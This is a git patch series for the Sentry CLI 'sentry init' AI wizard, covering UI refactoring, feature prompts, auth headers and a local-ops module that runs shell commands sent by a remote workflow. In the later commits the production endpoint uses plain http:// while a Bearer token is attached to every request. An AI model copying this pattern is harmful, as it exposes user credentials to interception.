handleLocalOp } from "./local-ops.js"; +import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; +import { handleLocalOp } from "./local-ops.js"; import type { - WizardOptions, - LocalOpPayload, InteractivePayload, + LocalOpPayload, + WizardOptions, + WorkflowRunResult, } from "./types.js"; +type StepSpinner = ReturnType; + +type StepContext = { + payload: unknown; + stepId: string; + s: StepSpinner; + options: WizardOptions; +}; + +function nextPhase( + stepPhases: Map, + stepId: string, + names: string[] +): string { + const phase = (stepPhases.get(stepId) ?? 0) + 1; + stepPhases.set(stepId, phase); + return names[Math.min(phase - 1, names.length - 1)] ?? "done"; +} + +async function handleSuspendedStep( + ctx: StepContext, + stepPhases: Map +): Promise> { + const { payload, stepId, s, options } = ctx; + const { type: payloadType, operation } = payload as { + type: string; + operation?: string; + }; + const label = STEP_LABELS[stepId] ?? stepId; + + if (payloadType === "local-op") { + const detail = operation ? ` (${operation})` : ""; + s.message(`${label}${detail}...`); + + const localResult = await handleLocalOp(payload as LocalOpPayload, options); + + return { + ...localResult, + _phase: nextPhase(stepPhases, stepId, ["read-files", "analyze", "done"]), + }; + } + + if (payloadType === "interactive") { + s.stop(label); + + const interactiveResult = await handleInteractive( + payload as InteractivePayload, + options + ); + + s.start("Processing..."); + + return { + ...interactiveResult, + _phase: nextPhase(stepPhases, stepId, ["apply"]), + }; + } + + s.stop("Error", 1); + log.error(`Unknown suspend payload type "${payloadType}"`); + cancel("Setup failed"); + throw new WizardCancelledError(); +} + +function errorMessage(err: unknown): string { + return err instanceof Error ? err.message : String(err); +} + export async function runWizard(options: WizardOptions): Promise { - const { directory, force, yes, dryRun, features, stdout, stderr } = options; + const { directory, force, yes, dryRun, features } = options; + + process.stderr.write(`\n${formatBanner()}\n\n`); + intro("sentry init"); + + if (dryRun) { + log.warn("Dry-run mode: no files will be modified."); + } const tracingOptions = { traceId: randomBytes(16).toString("hex"), @@ -38,94 +117,87 @@ export async function runWizard(options: WizardOptions): Promise { const workflow = client.getWorkflow(WORKFLOW_ID); const run = await workflow.createRun(); - let result = await run.startAsync({ - inputData: { directory, force, yes, dryRun, features }, - tracingOptions, - }); + const s = spinner(); - // Track multi-suspend phases per step - const stepPhases = new Map(); - - while ((result as any).status === "suspended") { - // Extract step ID and suspend payload - const stepPath = - (result as any).suspended?.[0] ?? - (result as any).activePaths?.[0] ?? - []; - const stepId: string = stepPath[stepPath.length - 1] ?? "unknown"; - - const payload = extractSuspendPayload(result as Record, stepId); - if (!payload) { - stderr.write(`Error: No suspend payload found for step "${stepId}"\n`); - break; - } - - formatProgress(stdout, stepId, payload); + let result: WorkflowRunResult; + try { + s.start("Connecting to wizard..."); + result = (await run.startAsync({ + inputData: { directory, force, yes, dryRun, features }, + tracingOptions, + })) as WorkflowRunResult; + } catch (err) { + s.stop("Connection failed", 1); + log.error(errorMessage(err)); + cancel("Setup failed"); + return; + } - let resumeData: Record; - const payloadType = (payload as any).type as string; + const stepPhases = new Map(); - if (payloadType === "local-op") { - const localResult = await handleLocalOp( - payload as LocalOpPayload, - options, + try { + while (result.status === "suspended") { + const stepPath = result.suspended?.at(0) ?? []; + const stepId: string = stepPath.at(-1) ?? "unknown"; + + const payload = extractSuspendPayload(result, stepId); + if (!payload) { + s.stop("Error", 1); + log.error(`No suspend payload found for step "${stepId}"`); + cancel("Setup failed"); + return; + } + + const resumeData = await handleSuspendedStep( + { payload, stepId, s, options }, + stepPhases ); - // Track phase progression for multi-suspend steps - const phase = (stepPhases.get(stepId) ?? 0) + 1; - stepPhases.set(stepId, phase); - const phaseNames = ["read-files", "analyze", "done"]; - resumeData = { - ...localResult, - _phase: phaseNames[Math.min(phase - 1, phaseNames.length - 1)], - }; - } else if (payloadType === "interactive") { - const interactiveResult = await handleInteractive( - payload as InteractivePayload, - options, - ); - const phase = (stepPhases.get(stepId) ?? 0) + 1; - stepPhases.set(stepId, phase); - resumeData = { - ...interactiveResult, - _phase: "apply", - }; - } else { - stderr.write(`Error: Unknown suspend payload type "${payloadType}"\n`); - break; + result = (await run.resumeAsync({ + step: stepId, + resumeData, + tracingOptions, + })) as WorkflowRunResult; } - - result = await run.resumeAsync({ - step: stepId, - resumeData, - tracingOptions, - }); + } catch (err) { + if (err instanceof WizardCancelledError) { + return; + } + s.stop("Cancelled", 1); + log.error(errorMessage(err)); + cancel("Setup failed"); + return; } - const resultObj = result as Record; - if (resultObj.status === "success") { - formatResult(stdout, resultObj); + s.stop("Done"); + + const output = result as unknown as Record; + if (result.status === "success") { + formatResult(output); } else { - formatError(stderr, resultObj); + formatError(output); } } function extractSuspendPayload( - result: Record, - stepId: string, + result: WorkflowRunResult, + stepId: string ): unknown | undefined { - // Try step-specific payload first const stepPayload = result.steps?.[stepId]?.suspendPayload; - if (stepPayload) return stepPayload; + if (stepPayload) { + return stepPayload; + } - // Try top-level suspend payload - if (result.suspendPayload) return result.suspendPayload; + if (result.suspendPayload) { + return result.suspendPayload; + } - // Try nested in activePaths data for (const key of Object.keys(result.steps ?? {})) { - const step = result.steps[key]; - if (step?.suspendPayload) return step.suspendPayload; + const step = result.steps?.[key]; + if (step?.suspendPayload) { + return step.suspendPayload; + } } - return undefined; + return; } From 11cdf6c1b8070118ef1955f7eedac5f9132bd645 Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 18 Feb 2026 18:47:32 +0100 Subject: [PATCH 07/34] fix(init): improve wizard UX for already-installed case, feature prompt, and source maps hint Route success-with-exitCode results to formatError so the --force hint is shown when Sentry is already installed. Fold the "Error Monitoring is always included" note into the multiselect prompt. Use a more approachable Source Maps hint. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/clack-utils.ts | 74 +++++++++++++++++++++++++++++++++++ src/lib/init/interactive.ts | 24 ++++++++---- src/lib/init/wizard-runner.ts | 23 +++++++++-- 3 files changed, 109 insertions(+), 12 deletions(-) create mode 100644 src/lib/init/clack-utils.ts diff --git a/src/lib/init/clack-utils.ts b/src/lib/init/clack-utils.ts new file mode 100644 index 00000000..a99e3869 --- /dev/null +++ b/src/lib/init/clack-utils.ts @@ -0,0 +1,74 @@ +/** + * Clack Utilities + * + * Shared helpers for the clack-based init wizard UI. + */ + +import { cancel, isCancel } from "@clack/prompts"; + +export class WizardCancelledError extends Error { + constructor() { + super("Setup cancelled."); + this.name = "WizardCancelledError"; + } +} + +export function abortIfCancelled(value: T | symbol): T { + if (isCancel(value)) { + cancel( + "Setup cancelled. Visit https://docs.sentry.io/platforms/ to set up manually." + ); + throw new WizardCancelledError(); + } + return value as T; +} + +export const FEATURE_INFO: Record = { + errorMonitoring: { + label: "Error Monitoring", + hint: "Automatic error and crash reporting", + }, + performanceMonitoring: { + label: "Performance Monitoring", + hint: "Transaction and span tracing", + }, + sessionReplay: { + label: "Session Replay", + hint: "Visual replay of user sessions", + }, + profiling: { + label: "Profiling", + hint: "Code-level performance insights", + }, + logs: { label: "Logging", hint: "Structured log ingestion" }, + metrics: { label: "Custom Metrics", hint: "Track custom business metrics" }, + sourceMaps: { + label: "Source Maps", + hint: "See original source code in production errors", + }, +}; + +export function featureLabel(id: string): string { + return FEATURE_INFO[id]?.label ?? id; +} + +export function featureHint(id: string): string | undefined { + return FEATURE_INFO[id]?.hint; +} + +export const STEP_LABELS: Record = { + "discover-context": "Analyzing project structure", + "select-target-app": "Selecting target application", + "resolve-dir": "Resolving project directory", + "check-existing-sentry": "Checking for existing Sentry installation", + "detect-platform": "Detecting platform and framework", + "ensure-sentry-project": "Setting up Sentry project", + "select-features": "Selecting features", + "determine-pm": "Detecting package manager", + "install-deps": "Installing dependencies", + "plan-codemods": "Planning code modifications", + "apply-codemods": "Applying code modifications", + "verify-changes": "Verifying changes", + "add-example-trigger": "Example error trigger", + "open-sentry-ui": "Finishing up", +}; diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 7c90efa7..6662e176 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -7,7 +7,8 @@ */ import { confirm, log, multiselect, select } from "@clack/prompts"; -import { abortIfCancelled } from "./clack-utils.js"; +import chalk from "chalk"; +import { abortIfCancelled, featureHint, featureLabel } from "./clack-utils.js"; import type { InteractivePayload, WizardOptions } from "./types.js"; export async function handleInteractive( @@ -83,25 +84,32 @@ async function handleMultiSelect( return { features: [] }; } - const requiredFeature = "errors"; + const requiredFeature = "errorMonitoring"; const hasRequired = available.includes(requiredFeature); if (options.yes) { - log.info(`Auto-selected all features: ${available.join(", ")}`); + log.info( + `Auto-selected all features: ${available.map(featureLabel).join(", ")}` + ); return { features: available }; } + const optional = available.filter((f) => f !== requiredFeature); + + const hints: string[] = []; if (hasRequired) { - log.info("Error monitoring is always enabled."); + hints.push( + chalk.dim(` ${featureLabel(requiredFeature)} is always included`) + ); } - - const optional = available.filter((f) => f !== requiredFeature); + hints.push(chalk.dim(" space=toggle, a=all, enter=confirm")); const selected = await multiselect({ - message: payload.prompt, + message: `${payload.prompt}\n${hints.join("\n")}`, options: optional.map((feature) => ({ value: feature, - label: feature, + label: featureLabel(feature), + hint: featureHint(feature), })), initialValues: optional, required: false, diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index af171144..2a12ca76 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -94,6 +94,14 @@ function errorMessage(err: unknown): string { export async function runWizard(options: WizardOptions): Promise { const { directory, force, yes, dryRun, features } = options; + if (!(yes || process.stdin.isTTY)) { + process.stderr.write( + "Error: Interactive mode requires a terminal. Use --yes for non-interactive mode.\n" + ); + process.exitCode = 1; + return; + } + process.stderr.write(`\n${formatBanner()}\n\n`); intro("sentry init"); @@ -169,13 +177,20 @@ export async function runWizard(options: WizardOptions): Promise { return; } - s.stop("Done"); + handleFinalResult(result, s); +} +function handleFinalResult(result: WorkflowRunResult, s: StepSpinner): void { const output = result as unknown as Record; - if (result.status === "success") { - formatResult(output); - } else { + const inner = (output.result as Record) ?? output; + const hasError = result.status !== "success" || inner.exitCode; + + if (hasError) { + s.stop("Failed", 1); formatError(output); + } else { + s.stop("Done"); + formatResult(output); } } From 049fc95dd687f1e11547b0f7859c21ec20e88c6b Mon Sep 17 00:00:00 2001 From: betegon Date: Wed, 18 Feb 2026 19:47:37 +0100 Subject: [PATCH 08/34] feat(init): add AI transparency note and review reminder to wizard Show a non-blocking info note about AI usage with a docs link before the first network call, and a review reminder before the success outro. Extract SENTRY_DOCS_URL constant to share between wizard-runner and clack-utils cancel message. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/clack-utils.ts | 5 +- src/lib/init/constants.ts | 8 +- src/lib/init/formatters.ts | 149 ++++++++++++++++------------------ src/lib/init/wizard-runner.ts | 7 +- 4 files changed, 84 insertions(+), 85 deletions(-) diff --git a/src/lib/init/clack-utils.ts b/src/lib/init/clack-utils.ts index a99e3869..ea4eeb0e 100644 --- a/src/lib/init/clack-utils.ts +++ b/src/lib/init/clack-utils.ts @@ -5,6 +5,7 @@ */ import { cancel, isCancel } from "@clack/prompts"; +import { SENTRY_DOCS_URL } from "./constants.js"; export class WizardCancelledError extends Error { constructor() { @@ -15,9 +16,7 @@ export class WizardCancelledError extends Error { export function abortIfCancelled(value: T | symbol): T { if (isCancel(value)) { - cancel( - "Setup cancelled. Visit https://docs.sentry.io/platforms/ to set up manually." - ); + cancel(`Setup cancelled. Visit ${SENTRY_DOCS_URL} to set up manually.`); throw new WizardCancelledError(); } return value as T; diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index 842a9416..effb5101 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -3,6 +3,8 @@ export const MASTRA_API_URL = export const WORKFLOW_ID = "sentry-wizard"; -export const MAX_FILE_BYTES = 262144; // 256KB per file -export const MAX_STDOUT_BYTES = 65536; // 64KB stdout/stderr truncation -export const DEFAULT_COMMAND_TIMEOUT_MS = 120000; // 2 minutes +export const SENTRY_DOCS_URL = "https://docs.sentry.io/platforms/"; + +export const MAX_FILE_BYTES = 262_144; // 256KB per file +export const MAX_STDOUT_BYTES = 65_536; // 64KB stdout/stderr truncation +export const DEFAULT_COMMAND_TIMEOUT_MS = 120_000; // 2 minutes diff --git a/src/lib/init/formatters.ts b/src/lib/init/formatters.ts index fa004c99..46062c71 100644 --- a/src/lib/init/formatters.ts +++ b/src/lib/init/formatters.ts @@ -1,120 +1,113 @@ /** * Output Formatters * - * Format wizard progress, results, and errors for terminal display. + * Format wizard results and errors for terminal display using clack. */ -import type { Writer } from "../../types/index.js"; - -const STEP_LABELS: Record = { - "discover-context": "Analyzing project structure", - "select-target-app": "Selecting target application", - "resolve-dir": "Resolving project directory", - "check-existing-sentry": "Checking for existing Sentry installation", - "detect-platform": "Detecting platform and framework", - "ensure-sentry-project": "Setting up Sentry project", - "select-features": "Selecting features", - "determine-pm": "Detecting package manager", - "install-deps": "Installing dependencies", - "plan-codemods": "Planning code modifications", - "apply-codemods": "Applying code modifications", - "verify-changes": "Verifying changes", - "add-example-trigger": "Example error trigger", - "open-sentry-ui": "Finishing up", -}; - -export function formatProgress( - stdout: Writer, - stepId: string, - payload?: unknown, -): void { - const label = STEP_LABELS[stepId] ?? stepId; - const payloadType = (payload as any)?.type as string | undefined; - const operation = (payload as any)?.operation as string | undefined; - - let detail = ""; - if (payloadType === "local-op" && operation) { - detail = ` (${operation})`; - } +import { cancel, log, note, outro } from "@clack/prompts"; +import { featureLabel } from "./clack-utils.js"; - stdout.write(`> ${label}${detail}...\n`); -} +type WizardOutput = Record; -export function formatResult( - stdout: Writer, - result: Record, -): void { - const output = result.result ?? result; +function fileActionIcon(action: string): string { + if (action === "create") { + return "+"; + } + if (action === "delete") { + return "-"; + } + return "~"; +} - stdout.write("\nSentry SDK installed successfully!\n\n"); +function buildSummaryLines(output: WizardOutput): string[] { + const lines: string[] = []; if (output.platform) { - stdout.write(` Platform: ${output.platform}\n`); + lines.push(`Platform: ${output.platform}`); } if (output.projectDir) { - stdout.write(` Directory: ${output.projectDir}\n`); + lines.push(`Directory: ${output.projectDir}`); } - if (output.features?.length) { - stdout.write(` Features: ${output.features.join(", ")}\n`); + + const features = output.features as string[] | undefined; + if (features?.length) { + lines.push(`Features: ${features.map(featureLabel).join(", ")}`); } - if (output.commands?.length) { - stdout.write(` Commands: ${output.commands.join("; ")}\n`); + + const commands = output.commands as string[] | undefined; + if (commands?.length) { + lines.push(`Commands: ${commands.join("; ")}`); } if (output.sentryProjectUrl) { - stdout.write(` Project: ${output.sentryProjectUrl}\n`); + lines.push(`Project: ${output.sentryProjectUrl}`); } if (output.docsUrl) { - stdout.write(` Docs: ${output.docsUrl}\n`); + lines.push(`Docs: ${output.docsUrl}`); } - if (output.changedFiles?.length) { - stdout.write("\n Changed files:\n"); - for (const f of output.changedFiles) { - const icon = f.action === "create" ? "+" : f.action === "delete" ? "-" : "~"; - stdout.write(` ${icon} ${f.path}\n`); + const changedFiles = output.changedFiles as + | Array<{ action: string; path: string }> + | undefined; + if (changedFiles?.length) { + lines.push(""); + lines.push("Changed files:"); + for (const f of changedFiles) { + lines.push(` ${fileActionIcon(f.action)} ${f.path}`); } } - if (output.warnings?.length) { - stdout.write("\n Warnings:\n"); - for (const w of output.warnings) { - stdout.write(` ! ${w}\n`); + return lines; +} + +export function formatResult(result: WizardOutput): void { + const output = (result.result as WizardOutput) ?? result; + const lines = buildSummaryLines(output); + + if (lines.length > 0) { + note(lines.join("\n"), "Setup complete"); + } + + const warnings = output.warnings as string[] | undefined; + if (warnings?.length) { + for (const w of warnings) { + log.warn(w); } } - stdout.write("\n"); + log.info("Please review the changes above before committing."); + + outro("Sentry SDK installed successfully!"); } -export function formatError( - stderr: Writer, - result: Record, -): void { +export function formatError(result: WizardOutput): void { + const inner = result.result as WizardOutput | undefined; const message = - result.error ?? result.result?.message ?? "Wizard failed with an unknown error"; - const exitCode = result.result?.exitCode ?? 1; + result.error ?? inner?.message ?? "Wizard failed with an unknown error"; + const exitCode = (inner?.exitCode as number) ?? 1; - stderr.write(`\nError: ${message}\n`); + log.error(String(message)); - // Provide actionable suggestions based on exit code if (exitCode === 10) { - stderr.write(" Hint: Use --force to override existing Sentry installation.\n"); + log.warn("Hint: Use --force to override existing Sentry installation."); } else if (exitCode === 20) { - stderr.write(" Hint: Could not detect your project's platform. Check that the directory contains a valid project.\n"); + log.warn( + "Hint: Could not detect your project's platform. Check that the directory contains a valid project." + ); } else if (exitCode === 30) { - const commands = result.result?.commands as string[] | undefined; + const commands = inner?.commands as string[] | undefined; if (commands?.length) { - stderr.write(" You can install dependencies manually:\n"); - for (const cmd of commands) { - stderr.write(` $ ${cmd}\n`); - } + log.warn( + `You can install dependencies manually:\n${commands.map((cmd) => ` $ ${cmd}`).join("\n")}` + ); } } else if (exitCode === 50) { - stderr.write(" Hint: Fix the verification issues and run 'sentry init' again.\n"); + log.warn("Hint: Fix the verification issues and run 'sentry init' again."); } - if (result.result?.docsUrl) { - stderr.write(` Docs: ${result.result.docsUrl}\n`); + const docsUrl = inner?.docsUrl; + if (docsUrl) { + log.info(`Docs: ${docsUrl}`); } - stderr.write("\n"); + cancel("Setup failed"); } diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 2a12ca76..b24988b8 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -12,7 +12,7 @@ import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; import { formatBanner } from "../help.js"; import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; -import { MASTRA_API_URL, WORKFLOW_ID } from "./constants.js"; +import { MASTRA_API_URL, SENTRY_DOCS_URL, WORKFLOW_ID } from "./constants.js"; import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; import { handleLocalOp } from "./local-ops.js"; @@ -109,6 +109,11 @@ export async function runWizard(options: WizardOptions): Promise { log.warn("Dry-run mode: no files will be modified."); } + log.info( + "This wizard uses AI to analyze your project and configure Sentry." + + `\nFor manual setup: ${SENTRY_DOCS_URL}` + ); + const tracingOptions = { traceId: randomBytes(16).toString("hex"), tags: ["sentry-cli", "init-wizard"], From 1e76a55314bdb17417ffc3c88137fa7c6f181d53 Mon Sep 17 00:00:00 2001 From: Aditya Mathur <57684218+MathurAditya724@users.noreply.github.com> Date: Thu, 19 Feb 2026 17:16:04 +0530 Subject: [PATCH 09/34] fix: added auth headers in the mastra client (#264) Co-authored-by: github-actions[bot] --- plugins/sentry-cli/skills/sentry-cli/SKILL.md | 14 ++++ src/commands/init.ts | 4 +- src/lib/init/local-ops.ts | 77 +++++++++++++------ src/lib/init/types.ts | 36 ++++----- src/lib/init/wizard-runner.ts | 7 +- 5 files changed, 91 insertions(+), 47 deletions(-) diff --git a/plugins/sentry-cli/skills/sentry-cli/SKILL.md b/plugins/sentry-cli/skills/sentry-cli/SKILL.md index a2ba5469..e614abf9 100644 --- a/plugins/sentry-cli/skills/sentry-cli/SKILL.md +++ b/plugins/sentry-cli/skills/sentry-cli/SKILL.md @@ -571,6 +571,20 @@ View details of a specific trace - `-w, --web - Open in browser` - `--spans - Span tree depth limit (number, "all" for unlimited, "no" to disable) - (default: "3")` +### Init + +Initialize Sentry in your project + +#### `sentry init ` + +Initialize Sentry in your project + +**Flags:** +- `--force - Continue even if Sentry is already installed` +- `-y, --yes - Non-interactive mode (accept defaults)` +- `--dry-run - Preview changes without applying them` +- `--features - Comma-separated features: errors,tracing,logs,replay,metrics` + ### Issues List issues in a project diff --git a/src/commands/init.ts b/src/commands/init.ts index 022b2b87..3aacfb62 100644 --- a/src/commands/init.ts +++ b/src/commands/init.ts @@ -67,9 +67,7 @@ export const initCommand = buildCommand({ }, }, async func(this: SentryContext, flags: InitFlags, directory?: string) { - const targetDir = directory - ? path.resolve(this.cwd, directory) - : this.cwd; + const targetDir = directory ? path.resolve(this.cwd, directory) : this.cwd; const featuresList = flags.features ?.split(",") .map((f) => f.trim()) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 16314053..84fef095 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -5,23 +5,23 @@ * All operations are sandboxed to the workflow's cwd directory. */ +import { spawn } from "node:child_process"; import fs from "node:fs"; import path from "node:path"; -import { spawn } from "node:child_process"; import { + DEFAULT_COMMAND_TIMEOUT_MS, MAX_FILE_BYTES, MAX_STDOUT_BYTES, - DEFAULT_COMMAND_TIMEOUT_MS, } from "./constants.js"; import type { - WizardOptions, + ApplyPatchsetPayload, + FileExistsBatchPayload, + ListDirPayload, LocalOpPayload, LocalOpResult, - ListDirPayload, ReadFilesPayload, - FileExistsBatchPayload, RunCommandsPayload, - ApplyPatchsetPayload, + WizardOptions, } from "./types.js"; /** @@ -31,7 +31,10 @@ import type { function safePath(cwd: string, relative: string): string { const resolved = path.resolve(cwd, relative); const normalizedCwd = path.resolve(cwd); - if (!resolved.startsWith(normalizedCwd + path.sep) && resolved !== normalizedCwd) { + if ( + !resolved.startsWith(normalizedCwd + path.sep) && + resolved !== normalizedCwd + ) { throw new Error(`Path "${relative}" resolves outside project directory`); } return resolved; @@ -39,7 +42,7 @@ function safePath(cwd: string, relative: string): string { export async function handleLocalOp( payload: LocalOpPayload, - _options: WizardOptions, + _options: WizardOptions ): Promise { try { switch (payload.operation) { @@ -54,7 +57,13 @@ export async function handleLocalOp( case "apply-patchset": return await applyPatchset(payload); default: - return { ok: false, error: `Unknown operation: ${(payload as any).operation}` }; + return { + ok: false, + error: `Unknown operation: ${ + // biome-ignore lint/suspicious/noExplicitAny: payload is of type LocalOpPayload + (payload as any).operation + }`, + }; } } catch (error) { return { @@ -64,18 +73,24 @@ export async function handleLocalOp( } } -async function listDir(payload: ListDirPayload): Promise { +function listDir(payload: ListDirPayload): LocalOpResult { const { cwd, params } = payload; const targetPath = safePath(cwd, params.path); const maxDepth = params.maxDepth ?? 3; const maxEntries = params.maxEntries ?? 500; const recursive = params.recursive ?? false; - const entries: Array<{ name: string; path: string; type: "file" | "directory" }> = []; + const entries: Array<{ + name: string; + path: string; + type: "file" | "directory"; + }> = []; + // biome-ignore lint/complexity/noExcessiveCognitiveComplexity: walking the directory tree is a complex operation function walk(dir: string, depth: number): void { - if (entries.length >= maxEntries) return; - if (depth > maxDepth) return; + if (entries.length >= maxEntries || depth > maxDepth) { + return; + } let dirEntries: fs.Dirent[]; try { @@ -85,13 +100,20 @@ async function listDir(payload: ListDirPayload): Promise { } for (const entry of dirEntries) { - if (entries.length >= maxEntries) return; + if (entries.length >= maxEntries) { + return; + } const relPath = path.relative(cwd, path.join(dir, entry.name)); const type = entry.isDirectory() ? "directory" : "file"; entries.push({ name: entry.name, path: relPath, type }); - if (recursive && entry.isDirectory() && !entry.name.startsWith(".") && entry.name !== "node_modules") { + if ( + recursive && + entry.isDirectory() && + !entry.name.startsWith(".") && + entry.name !== "node_modules" + ) { walk(path.join(dir, entry.name), depth + 1); } } @@ -101,7 +123,7 @@ async function listDir(payload: ListDirPayload): Promise { return { ok: true, data: { entries } }; } -async function readFiles(payload: ReadFilesPayload): Promise { +function readFiles(payload: ReadFilesPayload): LocalOpResult { const { cwd, params } = payload; const maxBytes = params.maxBytes ?? MAX_FILE_BYTES; const files: Record = {}; @@ -128,9 +150,7 @@ async function readFiles(payload: ReadFilesPayload): Promise { return { ok: true, data: { files } }; } -async function fileExistsBatch( - payload: FileExistsBatchPayload, -): Promise { +function fileExistsBatch(payload: FileExistsBatchPayload): LocalOpResult { const { cwd, params } = payload; const exists: Record = {}; @@ -146,7 +166,9 @@ async function fileExistsBatch( return { ok: true, data: { exists } }; } -async function runCommands(payload: RunCommandsPayload): Promise { +async function runCommands( + payload: RunCommandsPayload +): Promise { const { cwd, params } = payload; const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; @@ -175,8 +197,13 @@ async function runCommands(payload: RunCommandsPayload): Promise function runSingleCommand( command: string, cwd: string, - timeoutMs: number, -): Promise<{ command: string; exitCode: number; stdout: string; stderr: string }> { + timeoutMs: number +): Promise<{ + command: string; + exitCode: number; + stdout: string; + stderr: string; +}> { return new Promise((resolve) => { const child = spawn("sh", ["-c", command], { cwd, @@ -224,9 +251,7 @@ function runSingleCommand( }); } -async function applyPatchset( - payload: ApplyPatchsetPayload, -): Promise { +function applyPatchset(payload: ApplyPatchsetPayload): LocalOpResult { const { cwd, params } = payload; const applied: Array<{ path: string; action: string }> = []; @@ -260,6 +285,8 @@ async function applyPatchset( applied.push({ path: patch.path, action: "delete" }); break; } + default: + break; } } diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 5c52f30e..9add1df9 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -1,6 +1,6 @@ import type { Writer } from "../../types/index.js"; -export interface WizardOptions { +export type WizardOptions = { directory: string; force: boolean; yes: boolean; @@ -9,7 +9,7 @@ export interface WizardOptions { stdout: Writer; stderr: Writer; stdin: NodeJS.ReadStream & { fd: 0 }; -} +}; // ── Local-op suspend payloads ────────────────────────────── @@ -20,7 +20,7 @@ export type LocalOpPayload = | RunCommandsPayload | ApplyPatchsetPayload; -export interface ListDirPayload { +export type ListDirPayload = { type: "local-op"; operation: "list-dir"; cwd: string; @@ -30,9 +30,9 @@ export interface ListDirPayload { maxDepth?: number; maxEntries?: number; }; -} +}; -export interface ReadFilesPayload { +export type ReadFilesPayload = { type: "local-op"; operation: "read-files"; cwd: string; @@ -40,18 +40,18 @@ export interface ReadFilesPayload { paths: string[]; maxBytes?: number; }; -} +}; -export interface FileExistsBatchPayload { +export type FileExistsBatchPayload = { type: "local-op"; operation: "file-exists-batch"; cwd: string; params: { paths: string[]; }; -} +}; -export interface RunCommandsPayload { +export type RunCommandsPayload = { type: "local-op"; operation: "run-commands"; cwd: string; @@ -59,9 +59,9 @@ export interface RunCommandsPayload { commands: string[]; timeoutMs?: number; }; -} +}; -export interface ApplyPatchsetPayload { +export type ApplyPatchsetPayload = { type: "local-op"; operation: "apply-patchset"; cwd: string; @@ -72,30 +72,30 @@ export interface ApplyPatchsetPayload { patch: string; }>; }; -} +}; -export interface LocalOpResult { +export type LocalOpResult = { ok: boolean; error?: string; data?: unknown; -} +}; // ── Interactive suspend payloads ─────────────────────────── -export interface InteractivePayload { +export type InteractivePayload = { type: "interactive"; prompt: string; kind: "select" | "multi-select" | "confirm"; [key: string]: unknown; -} +}; // ── Workflow run result ──────────────────────────────────── -export interface WorkflowRunResult { +export type WorkflowRunResult = { status: "suspended" | "success" | "failed"; suspended?: string[][]; steps?: Record; suspendPayload?: unknown; result?: unknown; error?: string; -} +}; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index b24988b8..17f5a7f2 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -10,6 +10,7 @@ import { randomBytes } from "node:crypto"; import { cancel, intro, log, spinner } from "@clack/prompts"; import { MastraClient } from "@mastra/client-js"; import { CLI_VERSION } from "../constants.js"; +import { getAuthToken } from "../db/auth.js"; import { formatBanner } from "../help.js"; import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; import { MASTRA_API_URL, SENTRY_DOCS_URL, WORKFLOW_ID } from "./constants.js"; @@ -126,7 +127,11 @@ export async function runWizard(options: WizardOptions): Promise { }, }; - const client = new MastraClient({ baseUrl: MASTRA_API_URL }); + const token = getAuthToken(); + const client = new MastraClient({ + baseUrl: MASTRA_API_URL, + headers: token ? { Authorization: `Bearer ${token}` } : {}, + }); const workflow = client.getWorkflow(WORKFLOW_ID); const run = await workflow.createRun(); From 077119af0abe351b29e6f6339e48ea0029140314 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 17:25:24 +0100 Subject: [PATCH 10/34] fix(init): update MASTRA_API_URL to production worker endpoint Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index effb5101..385ac180 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -1,5 +1,6 @@ export const MASTRA_API_URL = - process.env.SENTRY_WIZARD_API_URL ?? "http://localhost:4111"; + process.env.SENTRY_WIZARD_API_URL ?? + "http://sentry-init-agent.getsentry.workers.dev"; export const WORKFLOW_ID = "sentry-wizard"; From 350530f77ac42506e332094aeabf0eab1e5a8b46 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 17:25:30 +0100 Subject: [PATCH 11/34] feat(init): add eval test dependencies and biome config Add @anthropic-ai/sdk and openai as devDependencies for the LLM-as-judge eval framework. Add opencode-lore dependency. Exclude test/init-eval/templates from biome linting since they are fixture apps, not source code. Co-Authored-By: Claude Opus 4.6 --- biome.jsonc | 2 +- bun.lock | 60 +++++++++++++++++++++++++++++++++++++++++++--------- package.json | 6 ++++++ 3 files changed, 57 insertions(+), 11 deletions(-) diff --git a/biome.jsonc b/biome.jsonc index a010d302..292b4d49 100644 --- a/biome.jsonc +++ b/biome.jsonc @@ -2,7 +2,7 @@ "$schema": "./node_modules/@biomejs/biome/configuration_schema.json", "extends": ["ultracite/core"], "files": { - "includes": ["!docs"] + "includes": ["!docs", "!test/init-eval/templates"] }, "javascript": { "globals": ["Bun"] diff --git a/bun.lock b/bun.lock index 323ae911..b0ee83e6 100644 --- a/bun.lock +++ b/bun.lock @@ -4,6 +4,7 @@ "workspaces": { "": { "devDependencies": { + "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", @@ 